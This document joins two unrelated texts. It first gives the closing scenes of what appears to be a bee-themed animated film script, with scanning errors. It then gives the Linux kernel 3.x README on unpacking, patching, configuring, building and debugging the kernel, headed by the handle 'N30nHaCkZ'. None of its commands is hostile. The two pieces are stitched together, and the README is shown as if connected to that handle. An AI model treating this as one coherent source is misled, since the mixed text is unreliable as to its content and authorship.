giant pulsating flower made of millions of bees! Pull forward. Nose down. Tail up. Rotate around it. - This is insane, Barry! - This's the only way I know how to fly. Am I koo-koo-kachoo, or is this plane flying in an insect-like pattern? Get your nose in there. Don't be afraid. Smell it. Full reverse! Just drop it. Be a part of it. Aim for the center! Now drop it in! Drop it in, woman! Oome on, already. Barry, we did it! You taught me how to fly! - Yes. No high-five! - Right. Barry, it worked! Did you see the giant flower? What giant flower? Where? Of course I saw the flower! That was genius! - Thank you. - But we're not done yet. Listen, everyone! This runway is covered with the last pollen from the last flowers available anywhere on Earth. That means this is our last chance. We're the only ones who make honey, pollinate flowers and dress like this. If we're gonna survive as a species, this is our moment! What do you say? Are we going to be bees, orjust Museum of Natural History keychains? We're bees! Keychain! Then follow me! Except Keychain. Hold on, Barry. Here. You've earned this. Yeah! I'm a Pollen Jock! And it's a perfect fit. All I gotta do are the sleeves. Oh, yeah. That's our Barry. Mom! The bees are back! If anybody needs to make a call, now's the time. I got a feeling we'll be working late tonight! Here's your change. Have a great afternoon! Oan I help who's next? Would you like some honey with that? It is bee-approved. Don't forget these. Milk, cream, cheese, it's all me. And I don't see a nickel! Sometimes I just feel like a piece of meat! I had no idea. Barry, I'm sorry. Have you got a moment? Would you excuse me? My mosquito associate will help you. Sorry I'm late. He's a lawyer too? I was already a blood-sucking parasite. All I needed was a briefcase. Have a great afternoon! Barry, I just got this huge tulip order, and I can't get them anywhere. No problem, Vannie. Just leave it to me. You're a lifesaver, Barry. Oan I help who's next? All right, scramble, jocks! It's time to fly. Thank you, Barry! That bee is living my life! Let it go, Kenny. - When will this nightmare end?! - Let it all go. - Beautiful day to fly. - Sure is. Between you and me, I was dying to get out of that office. You have got to start thinking bee, my friend. - Thinking bee! - Me? Hold it. Let's just stop for a second. Hold it. I'm sorry. I'm sorry, everyone. Oan we stop here? I'm not making a major life decision during a production number! All right. Take ten, everybody. Wrap it up, guys. I had virtually no rehearsal for that.
N30nHaCkZ / LinuxLinux kernel release 3.x <http://kernel.org/> These are the release notes for Linux version 3. Read them carefully, as they tell you what this is all about, explain how to install the kernel, and what to do if something goes wrong. WHAT IS LINUX? Linux is a clone of the operating system Unix, written from scratch by Linus Torvalds with assistance from a loosely-knit team of hackers across the Net. It aims towards POSIX and Single UNIX Specification compliance. It has all the features you would expect in a modern fully-fledged Unix, including true multitasking, virtual memory, shared libraries, demand loading, shared copy-on-write executables, proper memory management, and multistack networking including IPv4 and IPv6. It is distributed under the GNU General Public License - see the accompanying COPYING file for more details. ON WHAT HARDWARE DOES IT RUN? Although originally developed first for 32-bit x86-based PCs (386 or higher), today Linux also runs on (at least) the Compaq Alpha AXP, Sun SPARC and UltraSPARC, Motorola 68000, PowerPC, PowerPC64, ARM, Hitachi SuperH, Cell, IBM S/390, MIPS, HP PA-RISC, Intel IA-64, DEC VAX, AMD x86-64, AXIS CRIS, Xtensa, Tilera TILE, AVR32 and Renesas M32R architectures. Linux is easily portable to most general-purpose 32- or 64-bit architectures as long as they have a paged memory management unit (PMMU) and a port of the GNU C compiler (gcc) (part of The GNU Compiler Collection, GCC). Linux has also been ported to a number of architectures without a PMMU, although functionality is then obviously somewhat limited. Linux has also been ported to itself. You can now run the kernel as a userspace application - this is called UserMode Linux (UML). DOCUMENTATION: - There is a lot of documentation available both in electronic form on the Internet and in books, both Linux-specific and pertaining to general UNIX questions. I'd recommend looking into the documentation subdirectories on any Linux FTP site for the LDP (Linux Documentation Project) books. This README is not meant to be documentation on the system: there are much better sources available. - There are various README files in the Documentation/ subdirectory: these typically contain kernel-specific installation notes for some drivers for example. See Documentation/00-INDEX for a list of what is contained in each file. Please read the Changes file, as it contains information about the problems, which may result by upgrading your kernel. - The Documentation/DocBook/ subdirectory contains several guides for kernel developers and users. These guides can be rendered in a number of formats: PostScript (.ps), PDF, HTML, & man-pages, among others. After installation, "make psdocs", "make pdfdocs", "make htmldocs", or "make mandocs" will render the documentation in the requested format. INSTALLING the kernel source: - If you install the full sources, put the kernel tarball in a directory where you have permissions (eg. your home directory) and unpack it: gzip -cd linux-3.X.tar.gz | tar xvf - or bzip2 -dc linux-3.X.tar.bz2 | tar xvf - Replace "X" with the version number of the latest kernel. Do NOT use the /usr/src/linux area! This area has a (usually incomplete) set of kernel headers that are used by the library header files. They should match the library, and not get messed up by whatever the kernel-du-jour happens to be. - You can also upgrade between 3.x releases by patching. Patches are distributed in the traditional gzip and the newer bzip2 format. To install by patching, get all the newer patch files, enter the top level directory of the kernel source (linux-3.X) and execute: gzip -cd ../patch-3.x.gz | patch -p1 or bzip2 -dc ../patch-3.x.bz2 | patch -p1 Replace "x" for all versions bigger than the version "X" of your current source tree, _in_order_, and you should be ok. You may want to remove the backup files (some-file-name~ or some-file-name.orig), and make sure that there are no failed patches (some-file-name# or some-file-name.rej). If there are, either you or I have made a mistake. Unlike patches for the 3.x kernels, patches for the 3.x.y kernels (also known as the -stable kernels) are not incremental but instead apply directly to the base 3.x kernel. For example, if your base kernel is 3.0 and you want to apply the 3.0.3 patch, you must not first apply the 3.0.1 and 3.0.2 patches. Similarly, if you are running kernel version 3.0.2 and want to jump to 3.0.3, you must first reverse the 3.0.2 patch (that is, patch -R) _before_ applying the 3.0.3 patch. You can read more on this in Documentation/applying-patches.txt Alternatively, the script patch-kernel can be used to automate this process. It determines the current kernel version and applies any patches found. linux/scripts/patch-kernel linux The first argument in the command above is the location of the kernel source. Patches are applied from the current directory, but an alternative directory can be specified as the second argument. - Make sure you have no stale .o files and dependencies lying around: cd linux make mrproper You should now have the sources correctly installed. SOFTWARE REQUIREMENTS Compiling and running the 3.x kernels requires up-to-date versions of various software packages. Consult Documentation/Changes for the minimum version numbers required and how to get updates for these packages. Beware that using excessively old versions of these packages can cause indirect errors that are very difficult to track down, so don't assume that you can just update packages when obvious problems arise during build or operation. BUILD directory for the kernel: When compiling the kernel, all output files will per default be stored together with the kernel source code. Using the option "make O=output/dir" allow you to specify an alternate place for the output files (including .config). Example: kernel source code: /usr/src/linux-3.X build directory: /home/name/build/kernel To configure and build the kernel, use: cd /usr/src/linux-3.X make O=/home/name/build/kernel menuconfig make O=/home/name/build/kernel sudo make O=/home/name/build/kernel modules_install install Please note: If the 'O=output/dir' option is used, then it must be used for all invocations of make. CONFIGURING the kernel: Do not skip this step even if you are only upgrading one minor version. New configuration options are added in each release, and odd problems will turn up if the configuration files are not set up as expected. If you want to carry your existing configuration to a new version with minimal work, use "make oldconfig", which will only ask you for the answers to new questions. - Alternative configuration commands are: "make config" Plain text interface. "make menuconfig" Text based color menus, radiolists & dialogs. "make nconfig" Enhanced text based color menus. "make xconfig" X windows (Qt) based configuration tool. "make gconfig" X windows (Gtk) based configuration tool. "make oldconfig" Default all questions based on the contents of your existing ./.config file and asking about new config symbols. "make silentoldconfig" Like above, but avoids cluttering the screen with questions already answered. Additionally updates the dependencies. "make olddefconfig" Like above, but sets new symbols to their default values without prompting. "make defconfig" Create a ./.config file by using the default symbol values from either arch/$ARCH/defconfig or arch/$ARCH/configs/${PLATFORM}_defconfig, depending on the architecture. "make ${PLATFORM}_defconfig" Create a ./.config file by using the default symbol values from arch/$ARCH/configs/${PLATFORM}_defconfig. Use "make help" to get a list of all available platforms of your architecture. "make allyesconfig" Create a ./.config file by setting symbol values to 'y' as much as possible. "make allmodconfig" Create a ./.config file by setting symbol values to 'm' as much as possible. "make allnoconfig" Create a ./.config file by setting symbol values to 'n' as much as possible. "make randconfig" Create a ./.config file by setting symbol values to random values. "make localmodconfig" Create a config based on current config and loaded modules (lsmod). Disables any module option that is not needed for the loaded modules. To create a localmodconfig for another machine, store the lsmod of that machine into a file and pass it in as a LSMOD parameter. target$ lsmod > /tmp/mylsmod target$ scp /tmp/mylsmod host:/tmp host$ make LSMOD=/tmp/mylsmod localmodconfig The above also works when cross compiling. "make localyesconfig" Similar to localmodconfig, except it will convert all module options to built in (=y) options. You can find more information on using the Linux kernel config tools in Documentation/kbuild/kconfig.txt. - NOTES on "make config": - Having unnecessary drivers will make the kernel bigger, and can under some circumstances lead to problems: probing for a nonexistent controller card may confuse your other controllers - Compiling the kernel with "Processor type" set higher than 386 will result in a kernel that does NOT work on a 386. The kernel will detect this on bootup, and give up. - A kernel with math-emulation compiled in will still use the coprocessor if one is present: the math emulation will just never get used in that case. The kernel will be slightly larger, but will work on different machines regardless of whether they have a math coprocessor or not. - The "kernel hacking" configuration details usually result in a bigger or slower kernel (or both), and can even make the kernel less stable by configuring some routines to actively try to break bad code to find kernel problems (kmalloc()). Thus you should probably answer 'n' to the questions for "development", "experimental", or "debugging" features. COMPILING the kernel: - Make sure you have at least gcc 3.2 available. For more information, refer to Documentation/Changes. Please note that you can still run a.out user programs with this kernel. - Do a "make" to create a compressed kernel image. It is also possible to do "make install" if you have lilo installed to suit the kernel makefiles, but you may want to check your particular lilo setup first. To do the actual install, you have to be root, but none of the normal build should require that. Don't take the name of root in vain. - If you configured any of the parts of the kernel as `modules', you will also have to do "make modules_install". - Verbose kernel compile/build output: Normally, the kernel build system runs in a fairly quiet mode (but not totally silent). However, sometimes you or other kernel developers need to see compile, link, or other commands exactly as they are executed. For this, use "verbose" build mode. This is done by inserting "V=1" in the "make" command. E.g.: make V=1 all To have the build system also tell the reason for the rebuild of each target, use "V=2". The default is "V=0". - Keep a backup kernel handy in case something goes wrong. This is especially true for the development releases, since each new release contains new code which has not been debugged. Make sure you keep a backup of the modules corresponding to that kernel, as well. If you are installing a new kernel with the same version number as your working kernel, make a backup of your modules directory before you do a "make modules_install". Alternatively, before compiling, use the kernel config option "LOCALVERSION" to append a unique suffix to the regular kernel version. LOCALVERSION can be set in the "General Setup" menu. - In order to boot your new kernel, you'll need to copy the kernel image (e.g. .../linux/arch/i386/boot/bzImage after compilation) to the place where your regular bootable kernel is found. - Booting a kernel directly from a floppy without the assistance of a bootloader such as LILO, is no longer supported. If you boot Linux from the hard drive, chances are you use LILO, which uses the kernel image as specified in the file /etc/lilo.conf. The kernel image file is usually /vmlinuz, /boot/vmlinuz, /bzImage or /boot/bzImage. To use the new kernel, save a copy of the old image and copy the new image over the old one. Then, you MUST RERUN LILO to update the loading map!! If you don't, you won't be able to boot the new kernel image. Reinstalling LILO is usually a matter of running /sbin/lilo. You may wish to edit /etc/lilo.conf to specify an entry for your old kernel image (say, /vmlinux.old) in case the new one does not work. See the LILO docs for more information. After reinstalling LILO, you should be all set. Shutdown the system, reboot, and enjoy! If you ever need to change the default root device, video mode, ramdisk size, etc. in the kernel image, use the 'rdev' program (or alternatively the LILO boot options when appropriate). No need to recompile the kernel to change these parameters. - Reboot with the new kernel and enjoy. IF SOMETHING GOES WRONG: - If you have problems that seem to be due to kernel bugs, please check the file MAINTAINERS to see if there is a particular person associated with the part of the kernel that you are having trouble with. If there isn't anyone listed there, then the second best thing is to mail them to me (torvalds@linux-foundation.org), and possibly to any other relevant mailing-list or to the newsgroup. - In all bug-reports, *please* tell what kernel you are talking about, how to duplicate the problem, and what your setup is (use your common sense). If the problem is new, tell me so, and if the problem is old, please try to tell me when you first noticed it. - If the bug results in a message like unable to handle kernel paging request at address C0000010 Oops: 0002 EIP: 0010:XXXXXXXX eax: xxxxxxxx ebx: xxxxxxxx ecx: xxxxxxxx edx: xxxxxxxx esi: xxxxxxxx edi: xxxxxxxx ebp: xxxxxxxx ds: xxxx es: xxxx fs: xxxx gs: xxxx Pid: xx, process nr: xx xx xx xx xx xx xx xx xx xx xx or similar kernel debugging information on your screen or in your system log, please duplicate it *exactly*. The dump may look incomprehensible to you, but it does contain information that may help debugging the problem. The text above the dump is also important: it tells something about why the kernel dumped code (in the above example, it's due to a bad kernel pointer). More information on making sense of the dump is in Documentation/oops-tracing.txt - If you compiled the kernel with CONFIG_KALLSYMS you can send the dump as is, otherwise you will have to use the "ksymoops" program to make sense of the dump (but compiling with CONFIG_KALLSYMS is usually preferred). This utility can be downloaded from ftp://ftp.<country>.kernel.org/pub/linux/utils/kernel/ksymoops/ . Alternatively, you can do the dump lookup by hand: - In debugging dumps like the above, it helps enormously if you can look up what the EIP value means. The hex value as such doesn't help me or anybody else very much: it will depend on your particular kernel setup. What you should do is take the hex value from the EIP line (ignore the "0010:"), and look it up in the kernel namelist to see which kernel function contains the offending address. To find out the kernel function name, you'll need to find the system binary associated with the kernel that exhibited the symptom. This is the file 'linux/vmlinux'. To extract the namelist and match it against the EIP from the kernel crash, do: nm vmlinux | sort | less This will give you a list of kernel addresses sorted in ascending order, from which it is simple to find the function that contains the offending address. Note that the address given by the kernel debugging messages will not necessarily match exactly with the function addresses (in fact, that is very unlikely), so you can't just 'grep' the list: the list will, however, give you the starting point of each kernel function, so by looking for the function that has a starting address lower than the one you are searching for but is followed by a function with a higher address you will find the one you want. In fact, it may be a good idea to include a bit of "context" in your problem report, giving a few lines around the interesting one. If you for some reason cannot do the above (you have a pre-compiled kernel image or similar), telling me as much about your setup as possible will help. Please read the REPORTING-BUGS document for details. - Alternatively, you can use gdb on a running kernel. (read-only; i.e. you cannot change values or set break points.) To do this, first compile the kernel with -g; edit arch/i386/Makefile appropriately, then do a "make clean". You'll also need to enable CONFIG_PROC_FS (via "make config"). After you've rebooted with the new kernel, do "gdb vmlinux /proc/kcore". You can now use all the usual gdb commands. The command to look up the point where your system crashed is "l *0xXXXXXXXX". (Replace the XXXes with the EIP value.) gdb'ing a non-running kernel currently fails because gdb (wrongly) disregards the starting offset for which the kernel is compiled.
